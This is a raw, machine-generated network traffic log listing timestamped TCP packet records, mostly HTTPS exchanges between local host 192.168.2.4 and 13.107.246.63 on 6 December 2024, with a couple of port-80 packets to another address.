Dec 6, 2024 00:17:03.768445969 CET	443	50136	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.768507004 CET	50136	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.768767118 CET	50136	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.768814087 CET	443	50136	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.768857002 CET	50136	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.768879890 CET	443	50136	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.774986029 CET	50137	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.775022984 CET	443	50137	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.775068045 CET	50137	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.775490046 CET	50137	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.775505066 CET	443	50137	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.892792940 CET	49739	80	192.168.2.4	69.42.215.252
Dec 6, 2024 00:17:03.921900988 CET	443	50133	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.925005913 CET	443	50133	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.925046921 CET	50133	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.925057888 CET	443	50133	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.925070047 CET	443	50133	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.925127029 CET	50133	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.941159964 CET	443	50134	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.942006111 CET	443	50135	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.944627047 CET	443	50134	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.944669962 CET	50134	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.945050001 CET	443	50135	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.945091963 CET	50135	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.953979015 CET	50133	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.953989983 CET	443	50133	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.954001904 CET	50133	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.954008102 CET	443	50133	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.956073999 CET	50134	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.956084013 CET	443	50134	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.956096888 CET	50134	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.956101894 CET	443	50134	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.957427025 CET	50135	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.957431078 CET	443	50135	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.957456112 CET	50135	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.957458973 CET	443	50135	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:04.054505110 CET	50138	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.054533958 CET	443	50138	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:04.054589033 CET	50138	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.055989981 CET	50139	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.056037903 CET	443	50139	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:04.056088924 CET	50139	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.056895018 CET	50138	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.056905985 CET	443	50138	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:04.057142019 CET	50139	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.057157993 CET	443	50139	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:04.057771921 CET	50140	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.057805061 CET	443	50140	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:04.057857990 CET	50140	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.058053970 CET	50140	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.058064938 CET	443	50140	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:04.070843935 CET	443	50125	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:04.073868990 CET	443	50125	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:04.073918104 CET	50125	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.211653948 CET	50125	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.211662054 CET	443	50125	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:04.211682081 CET	50125	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.211685896 CET	443	50125	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:04.407025099 CET	50141	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.407069921 CET	443	50141	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:04.407167912 CET	50141	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.426367044 CET	50141	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:04.426393986 CET	443	50141	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.486224890 CET	443	50137	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.499856949 CET	50137	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.499874115 CET	443	50137	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.500684977 CET	50137	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.500694036 CET	443	50137	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.776582003 CET	443	50138	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.776588917 CET	443	50140	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.777127981 CET	50138	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.777172089 CET	443	50138	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.777647972 CET	50138	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.777656078 CET	443	50138	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.777966022 CET	50140	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.777987957 CET	443	50140	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.778126001 CET	443	50139	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.778539896 CET	50140	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.778542995 CET	50139	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.778544903 CET	443	50140	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.778564930 CET	443	50139	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.779014111 CET	50139	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.779020071 CET	443	50139	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.920279026 CET	443	50137	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.923295021 CET	443	50137	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.923347950 CET	50137	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.933141947 CET	50137	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.933170080 CET	443	50137	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.933185101 CET	50137	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.933192015 CET	443	50137	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.937315941 CET	50142	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.937347889 CET	443	50142	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:05.937408924 CET	50142	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.937763929 CET	50142	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:05.937773943 CET	443	50142	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.140527010 CET	443	50141	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.141078949 CET	50141	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.141117096 CET	443	50141	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.141515970 CET	50141	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.141520977 CET	443	50141	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.206708908 CET	443	50138	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.210007906 CET	443	50138	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.210059881 CET	50138	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.211659908 CET	443	50139	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.211829901 CET	443	50139	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.211882114 CET	50139	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.218847036 CET	50138	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.218861103 CET	443	50138	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.220747948 CET	50139	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.220774889 CET	443	50139	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.220781088 CET	50139	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.220786095 CET	443	50139	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.232551098 CET	50143	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.232594967 CET	443	50143	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.232661009 CET	50143	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.233442068 CET	50143	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.233458042 CET	443	50143	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.234133959 CET	50144	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.234169960 CET	443	50144	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.234242916 CET	50144	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.234378099 CET	50144	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.234390020 CET	443	50144	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.251425028 CET	443	50140	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.254559040 CET	443	50140	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.254614115 CET	50140	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.254689932 CET	50140	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.254703999 CET	443	50140	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.254719973 CET	50140	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.254724026 CET	443	50140	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.257075071 CET	50145	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.257110119 CET	443	50145	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.257153988 CET	50145	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.257350922 CET	50145	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.257364988 CET	443	50145	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.578397989 CET	443	50141	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.578433037 CET	443	50141	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.578469038 CET	443	50141	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.578511953 CET	50141	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.578557968 CET	50141	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.589445114 CET	50141	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.589463949 CET	443	50141	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.589497089 CET	50141	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.589503050 CET	443	50141	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.592479944 CET	50146	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.592499971 CET	443	50146	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:06.593027115 CET	50146	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.593432903 CET	50146	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:06.593444109 CET	443	50146	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:07.653492928 CET	443	50142	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:07.737699032 CET	50142	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:07.737721920 CET	443	50142	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:07.738493919 CET	50142	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:07.738498926 CET	443	50142	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:07.942562103 CET	443	50143	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:07.942986012 CET	50143	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:07.943008900 CET	443	50143	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:07.943505049 CET	50143	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:07.943510056 CET	443	50143	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:07.952475071 CET	443	50144	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:07.952795982 CET	50144	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:07.952819109 CET	443	50144	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:07.953221083 CET	50144	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:07.953226089 CET	443	50144	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:07.974663019 CET	443	50145	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:07.978781939 CET	50145	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:07.978806973 CET	443	50145	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:07.979542971 CET	50145	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:07.979548931 CET	443	50145	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.079732895 CET	443	50142	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.083152056 CET	443	50142	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.083203077 CET	50142	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.090719938 CET	50142	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.090732098 CET	443	50142	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.090743065 CET	50142	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.090747118 CET	443	50142	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.093374968 CET	50147	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.093409061 CET	443	50147	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.093476057 CET	50147	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.093611956 CET	50147	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.093626976 CET	443	50147	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.316404104 CET	443	50146	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.340374947 CET	50146	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.340387106 CET	443	50146	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.340852976 CET	50146	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.340856075 CET	443	50146	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.376426935 CET	443	50143	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.379381895 CET	443	50143	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.379426956 CET	50143	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.386547089 CET	50143	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.386565924 CET	443	50143	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.386576891 CET	50143	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.386581898 CET	443	50143	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.394570112 CET	443	50144	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.394650936 CET	443	50144	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.394700050 CET	50144	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.399334908 CET	50148	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.399369955 CET	443	50148	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.399431944 CET	50148	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.399564981 CET	50144	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.399578094 CET	443	50144	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.399585962 CET	50144	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.399595022 CET	443	50144	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.403836012 CET	50148	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.403848886 CET	443	50148	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.411638975 CET	50149	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.411679029 CET	443	50149	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.411736012 CET	50149	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.416682959 CET	50149	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.416697979 CET	443	50149	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.422789097 CET	443	50145	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.422811031 CET	443	50145	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.422858953 CET	50145	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.422872066 CET	443	50145	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.422955990 CET	443	50145	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.422996044 CET	50145	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.423106909 CET	50145	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.423120022 CET	443	50145	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.423129082 CET	50145	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.423132896 CET	443	50145	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.426018953 CET	50150	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.426028967 CET	443	50150	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.426080942 CET	50150	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.426191092 CET	50150	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.426199913 CET	443	50150	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.750508070 CET	443	50146	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.754071951 CET	443	50146	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.754105091 CET	443	50146	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.754770994 CET	50146	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.762773037 CET	49739	80	192.168.2.4	69.42.215.252
Dec 6, 2024 00:17:08.768209934 CET	50146	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.768209934 CET	50146	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.768218040 CET	443	50146	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.768227100 CET	443	50146	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.826780081 CET	50151	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.826797009 CET	443	50151	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:08.826987028 CET	50151	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.830768108 CET	50151	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:08.830777884 CET	443	50151	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:09.814079046 CET	443	50147	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:09.822207928 CET	50147	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:09.822227955 CET	443	50147	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:09.822684050 CET	50147	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:09.822689056 CET	443	50147	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.133894920 CET	443	50148	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.141082048 CET	443	50149	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.145139933 CET	443	50150	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.248459101 CET	50148	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.248476982 CET	443	50148	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.252182961 CET	443	50147	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.252504110 CET	50148	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.252511024 CET	443	50148	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.255470037 CET	443	50147	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.255501032 CET	443	50147	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.255522013 CET	50147	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.255570889 CET	50147	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.256253004 CET	50147	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.256269932 CET	443	50147	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.256279945 CET	50147	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.256284952 CET	443	50147	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.256544113 CET	50149	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.256556988 CET	443	50149	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.260396004 CET	50149	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.260401011 CET	443	50149	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.268409014 CET	50150	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.268420935 CET	443	50150	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.272386074 CET	50150	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.272389889 CET	443	50150	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.531794071 CET	50152	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.531826019 CET	443	50152	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.531884909 CET	50152	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.555186033 CET	443	50151	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.575510979 CET	443	50148	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.578665018 CET	443	50148	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.578711987 CET	50148	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.580595016 CET	443	50149	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.583789110 CET	443	50149	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.583823919 CET	443	50149	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.583847046 CET	50149	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.583878994 CET	50149	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.592122078 CET	443	50150	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.595263958 CET	443	50150	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.595305920 CET	50150	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.598982096 CET	50152	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.598995924 CET	443	50152	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.599282026 CET	50150	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.599292994 CET	443	50150	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.599303007 CET	50150	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.599307060 CET	443	50150	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.603543997 CET	50151	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.603557110 CET	443	50151	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.604374886 CET	50151	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.604378939 CET	443	50151	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.604741096 CET	50148	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.604744911 CET	443	50148	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.604753971 CET	50148	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.604757071 CET	443	50148	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.606316090 CET	50149	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.606324911 CET	443	50149	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.606336117 CET	50149	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.606339931 CET	443	50149	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.770601988 CET	50153	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.770649910 CET	443	50153	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.770706892 CET	50153	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.771671057 CET	50154	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.771686077 CET	443	50154	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.771744967 CET	50154	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.772588015 CET	50155	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.772597075 CET	443	50155	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.772644043 CET	50155	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.773091078 CET	50153	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.773103952 CET	443	50153	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.773186922 CET	50154	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.773192883 CET	443	50154	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.773283005 CET	50155	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.773294926 CET	443	50155	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.990736961 CET	443	50151	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.990756989 CET	443	50151	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.990845919 CET	50151	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.990858078 CET	443	50151	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.991153002 CET	50151	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.991158962 CET	443	50151	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.991173983 CET	50151	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.991278887 CET	443	50151	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.991307020 CET	443	50151	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.991359949 CET	50151	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.993552923 CET	50156	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.993580103 CET	443	50156	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:10.993794918 CET	50156	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.993957043 CET	50156	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:10.993968010 CET	443	50156	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.319511890 CET	443	50152	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.323224068 CET	50152	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.323242903 CET	443	50152	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.323668003 CET	50152	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.323673964 CET	443	50152	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.508122921 CET	443	50154	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.509145021 CET	443	50155	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.510246038 CET	50154	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.510257959 CET	443	50154	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.510691881 CET	50154	443	192.168.2.4	13.107.246.63
